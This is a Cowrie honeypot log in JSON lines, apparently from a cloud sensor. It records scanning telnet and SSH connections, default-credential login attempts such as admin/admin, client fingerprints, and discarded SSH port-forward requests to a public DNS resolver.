{"eventid":"cowrie.session.connect","src_ip":"72.167.54.122","src_port":56916,"dst_ip":"159.203.135.109","dst_port":23,"session":"4d8675f2ceb8","protocol":"telnet","message":"New connection: 72.167.54.122:56916 (159.203.135.109:23) [session: 4d8675f2ceb8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:39:37.238971Z"}
{"eventid":"cowrie.session.closed","duration":41.5269193649292,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:39:40.231654Z","src_ip":"104.245.105.2","session":"8cfc3bc5cfb5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":57134,"dst_ip":"10.17.0.5","dst_port":23,"session":"c0a0d705e358","protocol":"telnet","message":"New connection: 104.245.105.2:57134 (10.17.0.5:23) [session: c0a0d705e358]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:40:06.981946Z"}
{"eventid":"cowrie.session.closed","duration":30.892554759979248,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:40:08.131417Z","src_ip":"72.167.54.122","session":"4d8675f2ceb8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.77294421195984,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:40:38.754782Z","src_ip":"104.245.105.2","session":"c0a0d705e358","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":51556,"dst_ip":"10.17.0.5","dst_port":23,"session":"56cd7679d7be","protocol":"telnet","message":"New connection: 104.245.105.2:51556 (10.17.0.5:23) [session: 56cd7679d7be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:40:45.275676Z"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":54050,"dst_ip":"10.17.0.5","dst_port":22,"session":"57ac59a727c1","protocol":"ssh","message":"New connection: 87.251.64.176:54050 (10.17.0.5:22) [session: 57ac59a727c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:40:50.403079Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:40:50.408506Z","src_ip":"87.251.64.176","session":"57ac59a727c1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:40:50.505192Z","src_ip":"87.251.64.176","session":"57ac59a727c1","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:40:50.795396Z","src_ip":"87.251.64.176","session":"57ac59a727c1","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:40:50.894498Z","session":"57ac59a727c1","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:40:50.992529Z","src_ip":"87.251.64.176","session":"57ac59a727c1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:40:51.095132Z","src_ip":"87.251.64.176","session":"57ac59a727c1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.950670957565308,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:41:16.226238Z","src_ip":"104.245.105.2","session":"56cd7679d7be","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":59124,"dst_ip":"10.17.0.5","dst_port":23,"session":"77628be3a237","protocol":"telnet","message":"New connection: 104.245.105.2:59124 (10.17.0.5:23) [session: 77628be3a237]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:41:53.513433Z"}
{"eventid":"cowrie.session.closed","duration":39.88938021659851,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:42:33.402663Z","src_ip":"104.245.105.2","session":"77628be3a237","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":58064,"dst_ip":"10.17.0.5","dst_port":23,"session":"c8a9a5613718","protocol":"telnet","message":"New connection: 104.245.105.2:58064 (10.17.0.5:23) [session: c8a9a5613718]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:43:26.949615Z"}
{"eventid":"cowrie.session.closed","duration":36.025901794433594,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:44:02.975428Z","src_ip":"104.245.105.2","session":"c8a9a5613718","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":25514,"dst_ip":"10.17.0.5","dst_port":22,"session":"6c34bec3271c","protocol":"ssh","message":"New connection: 87.251.64.176:25514 (10.17.0.5:22) [session: 6c34bec3271c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:44:20.303102Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:44:20.307633Z","src_ip":"87.251.64.176","session":"6c34bec3271c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:44:20.403596Z","src_ip":"87.251.64.176","session":"6c34bec3271c","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:44:20.691508Z","src_ip":"87.251.64.176","session":"6c34bec3271c","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:44:20.790653Z","session":"6c34bec3271c","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:44:20.890850Z","src_ip":"87.251.64.176","session":"6c34bec3271c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:44:20.989089Z","src_ip":"87.251.64.176","session":"6c34bec3271c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":52526,"dst_ip":"10.17.0.5","dst_port":23,"session":"75e0a7147192","protocol":"telnet","message":"New connection: 104.245.105.2:52526 (10.17.0.5:23) [session: 75e0a7147192]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:44:48.725499Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":52892,"dst_ip":"10.17.0.5","dst_port":23,"session":"e76cb2735bdb","protocol":"telnet","message":"New connection: 104.245.105.2:52892 (10.17.0.5:23) [session: e76cb2735bdb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:44:56.197043Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":51242,"dst_ip":"10.17.0.5","dst_port":23,"session":"7bedbf7776b3","protocol":"telnet","message":"New connection: 104.245.105.2:51242 (10.17.0.5:23) [session: 7bedbf7776b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:45:00.317960Z"}
{"eventid":"cowrie.session.closed","duration":30.890303134918213,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:45:19.615714Z","src_ip":"104.245.105.2","session":"75e0a7147192","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.230754375457764,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:45:31.548597Z","src_ip":"104.245.105.2","session":"7bedbf7776b3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.14832901954651,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:45:32.345285Z","src_ip":"104.245.105.2","session":"e76cb2735bdb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"212.12.150.171","src_port":24198,"dst_ip":"10.17.0.5","dst_port":23,"session":"cd9c9036a210","protocol":"telnet","message":"New connection: 212.12.150.171:24198 (10.17.0.5:23) [session: cd9c9036a210]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:45:47.137669Z"}
{"eventid":"cowrie.session.closed","duration":13.867133378982544,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:46:01.004706Z","src_ip":"212.12.150.171","session":"cd9c9036a210","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.24.211.95","src_port":8567,"dst_ip":"159.203.135.109","dst_port":22,"session":"68544afd43d6","protocol":"ssh","message":"New connection: 193.24.211.95:8567 (159.203.135.109:22) [session: 68544afd43d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:46:16.315500Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:46:16.325222Z","src_ip":"193.24.211.95","session":"68544afd43d6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:46:16.436007Z","src_ip":"193.24.211.95","session":"68544afd43d6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pi","password":"test","message":"login attempt [pi/test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:46:16.922691Z","src_ip":"193.24.211.95","session":"68544afd43d6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:46:18.035758Z","src_ip":"193.24.211.95","session":"68544afd43d6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.36.149.175","src_port":54644,"dst_ip":"10.17.0.5","dst_port":23,"session":"5f0366ba96a0","protocol":"telnet","message":"New connection: 104.36.149.175:54644 (10.17.0.5:23) [session: 5f0366ba96a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:46:40.688364Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.36.149.175","src_port":54616,"dst_ip":"10.17.0.5","dst_port":23,"session":"50fbbff86ef5","protocol":"telnet","message":"New connection: 104.36.149.175:54616 (10.17.0.5:23) [session: 50fbbff86ef5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:46:43.557142Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.36.149.175","src_port":56696,"dst_ip":"10.17.0.5","dst_port":23,"session":"9985033d2de9","protocol":"telnet","message":"New connection: 104.36.149.175:56696 (10.17.0.5:23) [session: 9985033d2de9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:46:48.708391Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":55958,"dst_ip":"10.17.0.5","dst_port":23,"session":"cba530bff891","protocol":"telnet","message":"New connection: 104.245.105.2:55958 (10.17.0.5:23) [session: cba530bff891]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:47:04.949042Z"}
{"eventid":"cowrie.session.closed","duration":30.74413013458252,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:47:11.432415Z","src_ip":"104.36.149.175","session":"5f0366ba96a0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.134.138.17","src_port":5546,"dst_ip":"10.17.0.5","dst_port":23,"session":"dafdba036820","protocol":"telnet","message":"New connection: 38.134.138.17:5546 (10.17.0.5:23) [session: dafdba036820]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:47:14.227279Z"}
{"eventid":"cowrie.session.closed","duration":30.92574906349182,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:47:14.482792Z","src_ip":"104.36.149.175","session":"50fbbff86ef5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":59012,"dst_ip":"10.17.0.5","dst_port":23,"session":"953a9a7b9eff","protocol":"telnet","message":"New connection: 104.245.105.2:59012 (10.17.0.5:23) [session: 953a9a7b9eff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:47:15.863953Z"}
{"eventid":"cowrie.session.closed","duration":31.574920892715454,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:47:20.283214Z","src_ip":"104.36.149.175","session":"9985033d2de9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":12.751734256744385,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:47:26.978888Z","src_ip":"38.134.138.17","session":"dafdba036820","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":53178,"dst_ip":"10.17.0.5","dst_port":23,"session":"a63a6d6b8558","protocol":"telnet","message":"New connection: 104.245.105.2:53178 (10.17.0.5:23) [session: a63a6d6b8558]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:47:33.966248Z"}
{"eventid":"cowrie.session.closed","duration":31.202672719955444,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:47:36.151584Z","src_ip":"104.245.105.2","session":"cba530bff891","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.231602430343628,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:47:47.095458Z","src_ip":"104.245.105.2","session":"953a9a7b9eff","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"116.26.11.68","src_port":59792,"dst_ip":"10.17.0.5","dst_port":23,"session":"93a7fb216f1a","protocol":"telnet","message":"New connection: 116.26.11.68:59792 (10.17.0.5:23) [session: 93a7fb216f1a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:47:49.797372Z"}
{"eventid":"cowrie.session.closed","duration":13.41543698310852,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:48:03.212716Z","src_ip":"116.26.11.68","session":"93a7fb216f1a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.979915857315063,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:48:04.946054Z","src_ip":"104.245.105.2","session":"a63a6d6b8558","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":46096,"dst_ip":"10.17.0.5","dst_port":23,"session":"6df0b075c44a","protocol":"telnet","message":"New connection: 104.245.105.2:46096 (10.17.0.5:23) [session: 6df0b075c44a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:48:16.056631Z"}
{"eventid":"cowrie.session.connect","src_ip":"160.120.228.207","src_port":6772,"dst_ip":"159.203.135.109","dst_port":22,"session":"49154314b492","protocol":"ssh","message":"New connection: 160.120.228.207:6772 (159.203.135.109:22) [session: 49154314b492]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:48:57.661372Z"}
{"eventid":"cowrie.session.closed","duration":"0.4","message":"Connection lost after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:48:58.041356Z","src_ip":"160.120.228.207","session":"49154314b492","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.418067932128906,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:49:01.474565Z","src_ip":"104.245.105.2","session":"6df0b075c44a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":59358,"dst_ip":"10.17.0.5","dst_port":23,"session":"c20fc1d238d9","protocol":"telnet","message":"New connection: 104.245.105.2:59358 (10.17.0.5:23) [session: c20fc1d238d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:49:39.676772Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.36.149.175","src_port":46524,"dst_ip":"10.17.0.5","dst_port":23,"session":"7990661cd63b","protocol":"telnet","message":"New connection: 104.36.149.175:46524 (10.17.0.5:23) [session: 7990661cd63b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:49:40.134096Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.36.149.175","src_port":49124,"dst_ip":"10.17.0.5","dst_port":23,"session":"6ce23acd3841","protocol":"telnet","message":"New connection: 104.36.149.175:49124 (10.17.0.5:23) [session: 6ce23acd3841]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:49:49.047414Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.36.149.175","src_port":50372,"dst_ip":"10.17.0.5","dst_port":23,"session":"5747c29d0281","protocol":"telnet","message":"New connection: 104.36.149.175:50372 (10.17.0.5:23) [session: 5747c29d0281]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:49:53.296948Z"}
